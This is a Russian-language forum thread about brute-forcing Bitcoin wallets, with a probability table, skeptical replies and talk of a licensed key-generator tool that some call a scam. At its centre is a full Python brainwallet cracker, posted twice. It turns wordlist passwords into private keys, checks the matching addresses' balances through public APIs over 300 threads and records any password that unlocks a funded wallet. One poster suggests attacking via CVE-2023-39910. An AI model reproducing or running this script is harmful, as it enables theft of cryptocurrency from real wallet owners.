Если не затруднит можно скомпилированую версию?
Существует куча софтов для брута, причем низкоуровневых/нативных с использованием GPU и CPU: Mnemonic_C, BrainFlayer, BitCrack, VanitySearchPublicKey и до хрена других, не мы только одни тут умныесравнивать то с чем?
ТС предлагает сравнивать с адресами кошельков с балансом - но это бред из-за того что на одну сидку их бесконечно можно нагенерить. Публичные ключи видно в блок чейне? можно их спарсить и тогда сравнить сгенерированный публичный с ключами от кошельков с балансом. Тогда условно одна сидка = 1 ключ. Не подошла, берем следующую и предыдущая остается точноне валидной
| Time | Probability |
|---|---|
| 1 second | 6.8e-34 |
| 1 minute | 4e-32 |
| 1 hour | 2.4e-30 |
| 1 day | 5.9e-29 |
| 1 year | 2.1e-26 |
| 10 years | 2.1e-25 |
| 1000 years | 2.1e-23 |
| Age of earth | 8.64e-17 |
| Age of universe | 2.8e-16 (much less than winning at the lottery) |
поподробнее можно?)Кто все таки захочет тратить время уже лучше генерьте на основе пассов) Прикола ради запустили на базе 8.1 Gb за 4 сутки что-то да и нашлось. Только это было года 3 назад)
поподробнее можно?)
from requests import get
import hashlib
import os
import ecdsa
import binascii
from threading import Thread, Lock
import concurrent.futures
def generate_private_key(password):
return hashlib.sha256(password.encode()).hexdigest()
def private_key_to_public_key(private_key):
private_key_bytes = bytes.fromhex(private_key)
sk = ecdsa.SigningKey.from_string(private_key_bytes, curve=ecdsa.SECP256k1)
vk = sk.get_verifying_key()
return b'\x04' + vk.to_string()
def public_key_to_address(public_key):
sha256 = hashlib.sha256(public_key).digest()
ripemd160 = hashlib.new('ripemd160', sha256).digest()
versioned_payload = b'\x00' + ripemd160
checksum = hashlib.sha256(hashlib.sha256(versioned_payload).digest()).digest()[:4]
binary_address = versioned_payload + checksum
address = encode_base58(binary_address)
return address
def encode_base58(b):
alphabet = b'123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
num = int.from_bytes(b, 'big')
result = b''
while num > 0:
num, rem = divmod(num, 58)
result = alphabet[rem:rem + 1] + result
for byte in b:
if byte == 0:
result = alphabet[0:1] + result
else:
break
return result.decode()
def get_balance_3xp(address: str) -> int:
url = 'https://api.3xpl.com/bitcoin/address'
params = {
'data': 'balances',
'from': 'bitcoin-main',
'token': '3A0_t3st3xplor3rpub11cb3t4efcd21748a5e'
}
r: dict = get(f'{url}/{address}', params=params, timeout=10).json()
assert 'Too many requests' not in str(r), 'Too many req'
if not r['data']['balances']['bitcoin-main']:
return 0
return int(r['data']['balances']['bitcoin-main']['bitcoin']['balance'])
def get_balance_blockchain(address: str) -> int:
while True:
try:
r = get(
f'https://api.bitcoin-balance-api.com/v1/address/{address}?apikey=API_NO_LIMIT',
timeout=10
).json()
return int(r['balance'])
except Exception:
continue
class MultiTHR:
def __init__(self) -> str:
self.iter_l = Lock()
self.write_l = Lock()
self.its_out = False
self.threads: int = 300
self.wordlist_f: str = 'wordlist/big.txt'
self.pwds_iter = self.pwd_itr()
def pwd_itr(self) -> str:
with open(self.wordlist_f, 'r', encoding='utf-8', errors='ignore') as passwords:
for password in passwords:
yield password.strip()
self.its_out = True
def save_valid(self, data: str) -> None:
with open('withbalance.txt', 'a', encoding='utf-8', errors='ignore') as valids:
valids.write(data)
def thread(self) -> None:
while True:
with self.iter_l:
password = next(self.pwds_iter, None)
if self.its_out:
break
private_key = generate_private_key(password)
public_key = private_key_to_public_key(private_key)
bitcoin_address = public_key_to_address(public_key)
balance = get_balance_blockchain(bitcoin_address)
if balance > 0:
print('BALAANNNCEEEE'*60)
with self.write_l:
self.save_valid(f'{password} -> {balance} sat\n')
print(bitcoin_address, '-', balance, end='\r') #'\033c',
def launch(self) -> None:
with concurrent.futures.ThreadPoolExecutor(max_workers=self.threads) as executor:
future_to_url = {executor.submit(self.thread): i for i in range(self.threads)}
for future in concurrent.futures.as_completed(future_to_url):
url = future_to_url[future]
try:
future.result()
except Exception as exc:
print('%r generated an exception: %s' % (url, exc))
else:
print(url)
if __name__ == "__main__":
ttt = MultiTHR()
ttt.launch()
Напиши статью об этом)Едва нашёл семплPython:from requests import get import hashlib import os import ecdsa import binascii from threading import Thread, Lock import concurrent.futures def generate_private_key(password): return hashlib.sha256(password.encode()).hexdigest() def private_key_to_public_key(private_key): private_key_bytes = bytes.fromhex(private_key) sk = ecdsa.SigningKey.from_string(private_key_bytes, curve=ecdsa.SECP256k1) vk = sk.get_verifying_key() return b'\x04' + vk.to_string() def public_key_to_address(public_key): sha256 = hashlib.sha256(public_key).digest() ripemd160 = hashlib.new('ripemd160', sha256).digest() versioned_payload = b'\x00' + ripemd160 checksum = hashlib.sha256(hashlib.sha256(versioned_payload).digest()).digest()[:4] binary_address = versioned_payload + checksum address = encode_base58(binary_address) return address def encode_base58(b): alphabet = b'123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz' num = int.from_bytes(b, 'big') result = b'' while num > 0: num, rem = divmod(num, 58) result = alphabet[rem:rem + 1] + result for byte in b: if byte == 0: result = alphabet[0:1] + result else: break return result.decode() def get_balance_3xp(address: str) -> int: url = 'https://api.3xpl.com/bitcoin/address' params = { 'data': 'balances', 'from': 'bitcoin-main', 'token': '3A0_t3st3xplor3rpub11cb3t4efcd21748a5e' } r: dict = get(f'{url}/{address}', params=params, timeout=10).json() assert 'Too many requests' not in str(r), 'Too many req' if not r['data']['balances']['bitcoin-main']: return 0 return int(r['data']['balances']['bitcoin-main']['bitcoin']['balance']) def get_balance_blockchain(address: str) -> int: while True: try: r = get( f'https://api.bitcoin-balance-api.com/v1/address/{address}?apikey=API_NO_LIMIT', timeout=10 ).json() return int(r['balance']) except Exception: continue class MultiTHR: def __init__(self) -> str: self.iter_l = Lock() self.write_l = Lock() self.its_out = False self.threads: int = 300 self.wordlist_f: str = 'wordlist/big.txt' self.pwds_iter = self.pwd_itr() def pwd_itr(self) -> str: with open(self.wordlist_f, 'r', encoding='utf-8', errors='ignore') as passwords: for password in passwords: yield password.strip() self.its_out = True def save_valid(self, data: str) -> None: with open('withbalance.txt', 'a', encoding='utf-8', errors='ignore') as valids: valids.write(data) def thread(self) -> None: while True: with self.iter_l: password = next(self.pwds_iter, None) if self.its_out: break private_key = generate_private_key(password) public_key = private_key_to_public_key(private_key) bitcoin_address = public_key_to_address(public_key) balance = get_balance_blockchain(bitcoin_address) if balance > 0: print('BALAANNNCEEEE'*60) with self.write_l: self.save_valid(f'{password} -> {balance} sat\n') print(bitcoin_address, '-', balance, end='\r') #'\033c', def launch(self) -> None: with concurrent.futures.ThreadPoolExecutor(max_workers=self.threads) as executor: future_to_url = {executor.submit(self.thread): i for i in range(self.threads)} for future in concurrent.futures.as_completed(future_to_url): url = future_to_url[future] try: future.result() except Exception as exc: print('%r generated an exception: %s' % (url, exc)) else: print(url) if __name__ == "__main__": ttt = MultiTHR() ttt.launch()
Только если хотите использовать (хз зачем, это как небо тыкать) нужно попросить RedTeam чтобы он написал это на Go и будет в 1000 раз быстрее
Я могу реализовать. По подробнее распишите ваши идеи и давайте реализуемМожно поробовать перебирать на основе CVE-2023-39910
Я могу реализовать. По подробнее распишите ваши идеи и давайте реализуем
ахах, генератор биткоин ключей с проверкой баланса так и еще и по лицензий, ты это продавать собралься?) Ты как куча челов который тоже подобный софт продают, но на самом деле это просто схема разводаВы просили я сделал. Теперь не генирирует биткоин адреса и не проверяет по биткоин адресам. Так как из 1 публичного ключа можно сделать дохера биткоин адресов.
Теперь проверяет на совпадение по публичным ключам. В следствие чего шанс увеличивается.
Так же в программе есть счетчик сгенерированных приватных ключей. Учтите, что на видео 1 сгенерированный ключ проверяется на совпадение с более чем 3кк публичных адресов.
Видео работы программы. Такое большое потому, что выбрал снимок только программы
Это шаблон дизайна. Все программы от меня с данным дизайном. И основные функции такие как проверка лицензии и обновлений встроены в шаблон дизанйахах, генератор биткоин ключей с проверкой баланса так и еще и по лицензий, ты это продавать собралься?) Ты как куча челов который тоже подобный софт продают, но на самом деле это просто схема развода
Еще раз, софт бесплатный.ахах, генератор биткоин ключей с проверкой баланса так и еще и по лицензий, ты это продавать собралься?) Ты как куча челов который тоже подобный софт продают, но на самом деле это просто схема развода
Шанс от чего? от бесконечности?В следствие чего шанс увеличивается.
Я не чего не перевернул. Просто не стал все расписывать, а сразу написал про публичный ключ. Так как те кто немного понимают, что это такое понимают о чем идет речь, понятно что его получают из приватного.Шанс от чего? от бесконечности?
А публичный ключ это и есть кошелек, кстати. Вы тут в описании все перевернули к верх ногами публичный с приватным перепутали. Писали небось не зная матчасти, а только дизайн.
Никто такое без исходников ни то что покупать, даже использовать не будет. Ну в принципе хз, может на зеленке где-то кто-то из школьников (которые математику не учат), или больных на которое это "по" ориентировано.
Ну уж точно с таким сюда лезть не стоит.
Ответь всего на один вопрос - если ты такой умный, то почему ты такой бедный? Дай угадаю твой следующий вопрос и сразу отвечу - с того, что люди с достаком не пишут фантастическую и абсолютно недостижимую дичь на конкурс награда за который более ощутима и более реальна, чем вероятность поиметь успех с этого вот всего, что ты написал тут. Публичные, приватные, люди, кони... ничего личного.Я автор я так вижу
Вот читаю и не пойму, почему люди считают себя экспертами. И почему считают, что участие творческих людей в творческом конкурсе это только из за финансов. Даже отвечать не стоило. Но напомню, сколько людей столько и мнений. Пусть каждый останется при своем мнении..Ответь всего на один вопрос - если ты такой умный, то почему ты такой бедный? Дай угадаю твой следующий вопрос и сразу отвечу - с того, что люди с достаком не пишут фантастическую и абсолютно недостижимую дичь на конкурс награда за который более ощутима и более реальна, чем вероятность поиметь успех с этого вот всего, что ты написал тут. Публичные, приватные, люди, кони... ничего личного.
И еще раз для закрепления. А то сообщения выше вы не читаете.Ответь всего на один вопрос - если ты такой умный, то почему ты такой бедный? Дай угадаю твой следующий вопрос и сразу отвечу - с того, что люди с достаком не пишут фантастическую и абсолютно недостижимую дичь на конкурс награда за который более ощутима и более реальна, чем вероятность поиметь успех с этого вот всего, что ты написал тут. Публичные, приватные, люди, кони... ничего личного.
Ну кстати, желание у всех будет когда квантовые компьютеры будут доступны почти каждому, как никак но мир к этому стремиться"Без баланса" - он имел ввиду "без указания баланса", что там есть еще файл кошельков с указанием баланса на каждом.
Ты имеешь ввиду деривацию кошельков. Если это облегчит жизнь "халявоозабоченным", то есть такое исследование/документация по деривации каждого кошелька и не только: https://walletsrecovery.org/ (как видим есть и такие деревья по умолчанию m/84'/0'/2147483646', что сразу отобьет охоту что то подбирать).
Все эти рассуждения о взломе крипто кошельков имели бы смысл, если бы его вероятность была хотя бы как в игре в кости. Здесь же она практически стремится к абсолютному нулю.
PS: И если уж генерировать что то - то сразу приватный мастер - ключ, так как в теории все равно какая длина seed фразы, она сводится к мастер ключу 256 бит.